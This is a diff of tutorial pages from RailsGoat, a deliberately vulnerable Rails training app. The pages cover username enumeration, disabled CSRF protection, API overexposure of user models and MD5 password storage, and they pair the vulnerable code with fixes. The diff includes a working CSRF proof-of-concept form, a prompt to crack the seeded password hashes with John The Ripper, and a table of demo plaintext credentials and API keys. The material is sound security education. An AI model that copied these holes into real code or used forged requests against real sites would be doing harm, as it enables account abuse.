</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -91,34 +91,34 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
<b> Username and Password Enumeration - SOLUTION</b>
|
<b> Username and Password Enumeration - SOLUTION</b>
|
||||||
</p>
|
</p>
|
||||||
<p> Within /app/controllers/sessions_controller.rb</p>
|
<p> Within /app/controllers/sessions_controller.rb</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def create
|
def create
|
||||||
|
|
||||||
begin
|
begin
|
||||||
user = User.authenticate(params[:email], params[:password])
|
user = User.authenticate(params[:email], params[:password])
|
||||||
rescue Exception => e
|
rescue Exception => e
|
||||||
end
|
end
|
||||||
|
|
||||||
if user
|
if user
|
||||||
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
||||||
redirect_to home_dashboard_index_path
|
redirect_to home_dashboard_index_path
|
||||||
else
|
else
|
||||||
flash[:error] = "Either your username and password is incorrect" #e.message
|
flash[:error] = "Either your username and password is incorrect" #e.message
|
||||||
render "new"
|
render "new"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Although this fix is neither systemic nor does it address the problematic code at its core (within the user model), it does provide a quick solution. On line 12, we comment out the "e.message code" and instead provide a very generic error message that lacks specificity on what credential was incorrectly entered.
|
Although this fix is neither systemic nor does it address the problematic code at its core (within the user model), it does provide a quick solution. On line 12, we comment out the "e.message code" and instead provide a very generic error message that lacks specificity on what credential was incorrectly entered.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -128,10 +128,10 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Enter an email address that wouldn't likely exist into the login form. Analyze the result.<br/><br/>
|
Enter an email address that wouldn't likely exist into the login form. Analyze the result.<br/><br/>
|
||||||
Can you leverage this to gain unauthorized access?
|
Can you leverage this to gain unauthorized access?
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -11,83 +11,83 @@
|
|||||||
<div class="modal-body">
|
<div class="modal-body">
|
||||||
<div class="row">
|
<div class="row">
|
||||||
<div class="span8">
|
<div class="span8">
|
||||||
<p>Warning, this is a spoiler</p>
|
<p>Warning, this is a spoiler</p>
|
||||||
<p>Are you sure you want to see the credentials?</p>
|
<p>Are you sure you want to see the credentials?</p>
|
||||||
<div id="creds_hidden" style="display:none">
|
<div id="creds_hidden" style="display:none">
|
||||||
<table class="table table-striped table-hover table-bordered pull-left" id="data-table">
|
<table class="table table-striped table-hover table-bordered pull-left" id="data-table">
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th>
|
<th>
|
||||||
Email
|
Email
|
||||||
</th>
|
</th>
|
||||||
<th>
|
<th>
|
||||||
Password
|
Password
|
||||||
</th>
|
</th>
|
||||||
<th>
|
<th>
|
||||||
API Key
|
API Key
|
||||||
</th>
|
</th>
|
||||||
</tr>
|
</tr>
|
||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
<tr>
|
<tr>
|
||||||
<td style="word-wrap:break-word;">
|
<td style="word-wrap:break-word;">
|
||||||
admin@metacorp.com
|
admin@metacorp.com
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
admin1234
|
admin1234
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
1-01de24d75cffaa66db205278d1cf900bf087a737
|
1-01de24d75cffaa66db205278d1cf900bf087a737
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
<td style="word-wrap:break-word;">
|
<td style="word-wrap:break-word;">
|
||||||
jack@metacorp.com
|
jack@metacorp.com
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
yankeessuck
|
yankeessuck
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
2-050ddd40584978fe9e82840b8b95abb98e4786dc
|
2-050ddd40584978fe9e82840b8b95abb98e4786dc
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
<td style="word-wrap:break-word;">
|
<td style="word-wrap:break-word;">
|
||||||
jim@metacorp.com
|
jim@metacorp.com
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
alohaowasp
|
alohaowasp
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
3-eaa9b4d748d6a8c6a38e24ac1cc2204ebc3541c1
|
3-eaa9b4d748d6a8c6a38e24ac1cc2204ebc3541c1
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
<td style="word-wrap:break-word;">
|
<td style="word-wrap:break-word;">
|
||||||
mike@metacorp.com
|
mike@metacorp.com
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
motocross1445
|
motocross1445
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
4-4c809b3d11d272cff8cab1da9e4cdf61137f29d2
|
4-4c809b3d11d272cff8cab1da9e4cdf61137f29d2
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
<td style="word-wrap:break-word;">
|
<td style="word-wrap:break-word;">
|
||||||
ken@metacorp.com
|
ken@metacorp.com
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
citrusblend
|
citrusblend
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
5-4af604a848ca212cfa3935352aabe9522cf89fdc
|
5-4af604a848ca212cfa3935352aabe9522cf89fdc
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
|
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
@@ -97,7 +97,7 @@
|
|||||||
<button class="btn" data-dismiss="modal" aria-hidden="true">
|
<button class="btn" data-dismiss="modal" aria-hidden="true">
|
||||||
Close
|
Close
|
||||||
</button>
|
</button>
|
||||||
<button id="understood" class="btn btn-primary" aria-hidden="true">
|
<button id="understood" class="btn btn-primary" aria-hidden="true">
|
||||||
I understand
|
I understand
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
@@ -108,7 +108,7 @@
|
|||||||
<script type="text/javascript">
|
<script type="text/javascript">
|
||||||
|
|
||||||
$('#understood').click(function() {
|
$('#understood').click(function() {
|
||||||
$("#creds_hidden").show();
|
$("#creds_hidden").show();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -31,20 +31,20 @@
|
|||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Cross-Site Request Forgery (CSRF) - The following code was taken from: /app/controllers/application_controller.rb and /app/views/layouts/application.html.erb</b></p>
|
<p><b>Cross-Site Request Forgery (CSRF) - The following code was taken from: /app/controllers/application_controller.rb and /app/views/layouts/application.html.erb</b></p>
|
||||||
<p>application_controller.rb<p>
|
<p>application_controller.rb<p>
|
||||||
<p>
|
<p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# Our security guy keep talking about sea-surfing, cool story bro.
|
# Our security guy keep talking about sea-surfing, cool story bro.
|
||||||
# protect_from_forgery
|
# protect_from_forgery
|
||||||
</pre>
|
</pre>
|
||||||
|
|
||||||
</p>
|
</p>
|
||||||
<p> application.html.erb </p>
|
<p> application.html.erb </p>
|
||||||
<p>
|
<p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%= @meta_code_bad %>
|
<%= @meta_code_bad %>
|
||||||
</pre>
|
</pre>
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -59,57 +59,57 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b> Cross-Site Request Forgery ATTACK:</b></p>
|
<p><b> Cross-Site Request Forgery ATTACK:</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The application allows users to update their calendar and schedule PTO events (PTO section). Due to the fact CSRF protections are disabled, the AJAX request will send the authenticity token but the application will <b>not</b> validate either its presence or validity. Create an html page using the code shown below, authenticate as another user, click on it, review the new calendar (change the dates under date_range1). You should see this HTML code will work, even if you hadn't navigated to the PTO section prior to sending it.
|
The application allows users to update their calendar and schedule PTO events (PTO section). Due to the fact CSRF protections are disabled, the AJAX request will send the authenticity token but the application will <b>not</b> validate either its presence or validity. Create an html page using the code shown below, authenticate as another user, click on it, review the new calendar (change the dates under date_range1). You should see this HTML code will work, even if you hadn't navigated to the PTO section prior to sending it.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%=
|
<%=
|
||||||
%{
|
%{
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
<form action="http://railsgoat.dev/schedule.json" method="POST">
|
<form action="http://railsgoat.dev/schedule.json" method="POST">
|
||||||
<input type="hidden" name="schedule[event_name]" value="Bad Guy" />
|
<input type="hidden" name="schedule[event_name]" value="Bad Guy" />
|
||||||
<input type="hidden" name="schedule[event_type]" value="pto" />
|
<input type="hidden" name="schedule[event_type]" value="pto" />
|
||||||
<input type="hidden" name="schedule[event_desc]" value="Fun Fun" />
|
<input type="hidden" name="schedule[event_desc]" value="Fun Fun" />
|
||||||
<input type="hidden" name="date_range1" value="06/08/2013 - 06/09/2013" />
|
<input type="hidden" name="date_range1" value="06/08/2013 - 06/09/2013" />
|
||||||
<input type="submit" value="Submit request" />
|
<input type="submit" value="Submit request" />
|
||||||
</form>
|
</form>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
}
|
}
|
||||||
%>
|
%>
|
||||||
</pre>
|
</pre>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p><b> Cross-Site Request Forgery SOLUTION:</b></p>
|
<p><b> Cross-Site Request Forgery SOLUTION:</b></p>
|
||||||
<p>
|
<p>
|
||||||
By default, the protect_from_forgery directive is added under the application_controller.rb at project creation. However, occasionally developers turn it off (comment out) because of issues with JS. There are two separate solutions around the JS problem.
|
By default, the protect_from_forgery directive is added under the application_controller.rb at project creation. However, occasionally developers turn it off (comment out) because of issues with JS. There are two separate solutions around the JS problem.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
Once protect_from_forgery is added back...
|
Once protect_from_forgery is added back...
|
||||||
<li>Add the following code within the header section of the application.html.erb file (or any other application layout file).</li>
|
<li>Add the following code within the header section of the application.html.erb file (or any other application layout file).</li>
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%= @meta_code_good %>
|
<%= @meta_code_good %>
|
||||||
</pre>
|
</pre>
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
That will allow you to parse the meta tag with JS. However, keep in mind that any form generated by Rails is populated with an authenticity token so, if you leverage something like JQuery to make an Ajax request, you can include all values within the form by using the technique shown next.
|
That will allow you to parse the meta tag with JS. However, keep in mind that any form generated by Rails is populated with an authenticity token so, if you leverage something like JQuery to make an Ajax request, you can include all values within the form by using the technique shown next.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
<li>Leverage the serialize() method, shown on line 3. This grabs all the values from the form, including the authenticity token.</li>
|
<li>Leverage the serialize() method, shown on line 3. This grabs all the values from the form, including the authenticity token.</li>
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
<%= @ajax_code_good %>
|
<%= @ajax_code_good %>
|
||||||
</pre>
|
</pre>
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -123,6 +123,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -16,9 +16,9 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body in collapse" id="collapseModelOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseModelOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The application's API returns a model object (user or users). Using respond_with, the API returns the full model object. It is simple but exposes information such as the user's password and other user attributes that you may wish to keep invisible.
|
The application's API returns a model object (user or users). Using respond_with, the API returns the full model object. It is simple but exposes information such as the user's password and other user attributes that you may wish to keep invisible.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -32,51 +32,51 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseModelTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseModelTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Within app/controllers/api/v1/users_controller.rb:
|
Within app/controllers/api/v1/users_controller.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def index
|
def index
|
||||||
# We removed the .as_json code from the model, just seemed like extra work.
|
# We removed the .as_json code from the model, just seemed like extra work.
|
||||||
# dunno, maybe useful at a later time?
|
# dunno, maybe useful at a later time?
|
||||||
#respond_with @user.admin ? User.all.as_json : @user.as_json
|
#respond_with @user.admin ? User.all.as_json : @user.as_json
|
||||||
|
|
||||||
respond_with @user.admin ? User.all : @user
|
respond_with @user.admin ? User.all : @user
|
||||||
end
|
end
|
||||||
|
|
||||||
def show
|
def show
|
||||||
respond_with @user.as_json
|
respond_with @user.as_json
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The <i>as_json</i> method referenced in the comments section of the index action exists within the user model in order to override and safely protect our model from only rendering certain attributes. It is unused (commented out), app/models/user.rb:
|
The <i>as_json</i> method referenced in the comments section of the index action exists within the user model in order to override and safely protect our model from only rendering certain attributes. It is unused (commented out), app/models/user.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# Instead of the entire user object being returned, we can use this to filter.
|
# Instead of the entire user object being returned, we can use this to filter.
|
||||||
def as_json
|
def as_json
|
||||||
super(only: [:user_id, :email, :first_name, :last_name])
|
super(only: [:user_id, :email, :first_name, :last_name])
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
When utilizing the method that most tutorials describe or advocate when rendering model objects via JSON in an API (unsafe), the response looks like this:
|
When utilizing the method that most tutorials describe or advocate when rendering model objects via JSON in an API (unsafe), the response looks like this:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: application/json; charset=utf-8
|
Content-Type: application/json; charset=utf-8
|
||||||
X-UA-Compatible: IE=Edge
|
X-UA-Compatible: IE=Edge
|
||||||
ETag: "6b4caf343a20865de174b2b530b945dd"
|
ETag: "6b4caf343a20865de174b2b530b945dd"
|
||||||
Cache-Control: max-age=0, private, must-revalidate
|
Cache-Control: max-age=0, private, must-revalidate
|
||||||
X-Request-Id: c3b0a57861087c0b827aab231747ef0c
|
X-Request-Id: c3b0a57861087c0b827aab231747ef0c
|
||||||
X-Runtime: 0.051734
|
X-Runtime: 0.051734
|
||||||
Connection: close
|
Connection: close
|
||||||
|
|
||||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":
|
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":
|
||||||
"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino","password":
|
"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino","password":
|
||||||
"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2}
|
"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2}
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Note that all attributes associated with this user are returned via the API.
|
Note that all attributes associated with this user are returned via the API.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -91,41 +91,41 @@
|
|||||||
<div class="accordion-body collapse" id="collapseModelThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseModelThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Model Attributes Exposure - ATTACK</b></p>
|
<p><b>Model Attributes Exposure - ATTACK</b></p>
|
||||||
<p class="desc"> Use the API and review the data returned. Additional information on exploiting the API available under the <i>Extras > Logic Flaws</i> Section.</p>
|
<p class="desc"> Use the API and review the data returned. Additional information on exploiting the API available under the <i>Extras > Logic Flaws</i> Section.</p>
|
||||||
<p><b>Model Attributes Exposure - SOLUTION</b></p>
|
<p><b>Model Attributes Exposure - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Uncomment the <i>as_json</i> method within the user model. Additionally, call <i>.as_json</i> on any User model object you would like to return via the API or other means. Example:
|
Uncomment the <i>as_json</i> method within the user model. Additionally, call <i>.as_json</i> on any User model object you would like to return via the API or other means. Example:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
respond_with @user.admin ? User.all.as_json : @user.as_json
|
respond_with @user.admin ? User.all.as_json : @user.as_json
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Upon uncommenting the <i>as_json</i> method within the User model, the <i>as_json</i> method will ensure the API output only returns those attributes you have allowed in the following code:
|
Upon uncommenting the <i>as_json</i> method within the User model, the <i>as_json</i> method will ensure the API output only returns those attributes you have allowed in the following code:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def as_json
|
def as_json
|
||||||
super(<span style="background-color:yellow">only: [:user_id, :email, :first_name, :last_name]</span>)
|
super(<span style="background-color:yellow">only: [:user_id, :email, :first_name, :last_name]</span>)
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The response from the API should look like:
|
The response from the API should look like:
|
||||||
</p>
|
</p>
|
||||||
<pre>
|
<pre>
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: application/json; charset=utf-8
|
Content-Type: application/json; charset=utf-8
|
||||||
X-UA-Compatible: IE=Edge
|
X-UA-Compatible: IE=Edge
|
||||||
ETag: "2333488e856669ac637e37cb4cf09cb6"
|
ETag: "2333488e856669ac637e37cb4cf09cb6"
|
||||||
Cache-Control: max-age=0, private, must-revalidate
|
Cache-Control: max-age=0, private, must-revalidate
|
||||||
X-Request-Id: baa6a1c90004838793614e4c61633767
|
X-Request-Id: baa6a1c90004838793614e4c61633767
|
||||||
X-Runtime: 0.092768
|
X-Runtime: 0.092768
|
||||||
Connection: close
|
Connection: close
|
||||||
|
|
||||||
{"email":"jack@metacorp.com","first_name":"Jack","last_name":"Mannino","user_id":2}
|
{"email":"jack@metacorp.com","first_name":"Jack","last_name":"Mannino","user_id":2}
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseModelFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseModelFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
|
|||||||
@@ -16,15 +16,15 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The OWASP description - Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.
|
The OWASP description - Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Railsgoat does hash user passwords. Unfortunately, it does so using an extremely weak algorithm (MD5). Generally speaking, a strong algorithm and per-user salt can greatly improve the security of a hashed value. Also important to note, hashing and encryption are not the same. Encryption is meant to be reversible using some secret information, hashing is not, hashing is a one-way function not meant to be reversible.
|
Railsgoat does hash user passwords. Unfortunately, it does so using an extremely weak algorithm (MD5). Generally speaking, a strong algorithm and per-user salt can greatly improve the security of a hashed value. Also important to note, hashing and encryption are not the same. Encryption is meant to be reversible using some secret information, hashing is not, hashing is a one-way function not meant to be reversible.
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
All that being said, there are groups within security organizations that devote themselves to threat models built around this topic so clearly, this description does not encompass all scenarios. However, our recommendation is better than hashing using MD5 <i class="icon-wink-2"></i>.
|
All that being said, there are groups within security organizations that devote themselves to threat models built around this topic so clearly, this description does not encompass all scenarios. However, our recommendation is better than hashing using MD5 <i class="icon-wink-2"></i>.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -38,34 +38,34 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
Within app/models/user.rb:
|
Within app/models/user.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
before_save <span style="background-color:yellow">:hash_password</span>
|
before_save <span style="background-color:yellow">:hash_password</span>
|
||||||
|
|
||||||
def self.authenticate(email, password)
|
def self.authenticate(email, password)
|
||||||
auth = nil
|
auth = nil
|
||||||
user = find_by_email(email)
|
user = find_by_email(email)
|
||||||
if user
|
if user
|
||||||
if user.password == <span style="background-color:yellow">Digest::MD5.hexdigest(password)</span>
|
if user.password == <span style="background-color:yellow">Digest::MD5.hexdigest(password)</span>
|
||||||
auth = user
|
auth = user
|
||||||
else
|
else
|
||||||
raise "Incorrect Password!"
|
raise "Incorrect Password!"
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
raise "#{email} doesn't exist!"
|
raise "#{email} doesn't exist!"
|
||||||
end
|
end
|
||||||
return auth
|
return auth
|
||||||
end
|
end
|
||||||
|
|
||||||
def hash_password
|
def hash_password
|
||||||
if self.password.present?
|
if self.password.present?
|
||||||
self.password = <span style="background-color:yellow">Digest::MD5.hexdigest(password)</span>
|
self.password = <span style="background-color:yellow">Digest::MD5.hexdigest(password)</span>
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
</pre>
|
</pre>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -81,34 +81,34 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Password Storage - ATTACK</b></p>
|
<p><b>Password Storage - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Using the passwords stored within db/seeds.rb file, create a wordlist and leverage a password cracking tool such as John The Ripper to crack those passwords.
|
Using the passwords stored within db/seeds.rb file, create a wordlist and leverage a password cracking tool such as John The Ripper to crack those passwords.
|
||||||
</p>
|
</p>
|
||||||
<p><b>Password Storage - SOLUTION</b></p>
|
<p><b>Password Storage - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
A simple solution here would be to enforce a per-user salt in creating a BCrypt hash. You would need to alter the db schema to add a password_salt and password_hash columns to the table.
|
A simple solution here would be to enforce a per-user salt in creating a BCrypt hash. You would need to alter the db schema to add a password_salt and password_hash columns to the table.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def self.authenticate(email, password)
|
def self.authenticate(email, password)
|
||||||
user = find_by_email(email)
|
user = find_by_email(email)
|
||||||
if user and user.password_hash == <span style="background-color:yellow">BCrypt::Engine.hash_secret(password, user.password_salt)</span>
|
if user and user.password_hash == <span style="background-color:yellow">BCrypt::Engine.hash_secret(password, user.password_salt)</span>
|
||||||
user
|
user
|
||||||
else
|
else
|
||||||
"Invalid Credentials Supplied"
|
"Invalid Credentials Supplied"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def hash_password
|
def hash_password
|
||||||
if self.password.present?
|
if self.password.present?
|
||||||
<span style="background-color:yellow">self.password_salt = BCrypt::Engine.generate_salt</span>
|
<span style="background-color:yellow">self.password_salt = BCrypt::Engine.generate_salt</span>
|
||||||
<span style="background-color:yellow">self.password_hash = BCrypt::Engine.hash_secret(self.password, self.password_salt)</span>
|
<span style="background-color:yellow">self.password_hash = BCrypt::Engine.hash_secret(self.password, self.password_salt)</span>
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
|
|||||||
@@ -16,9 +16,9 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body in collapse" id="collapseSSNOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseSSNOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The Railsgoat application stores and transmits Social Security Numbers insecurely.
|
The Railsgoat application stores and transmits Social Security Numbers insecurely.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -32,18 +32,18 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseSSNTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseSSNTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
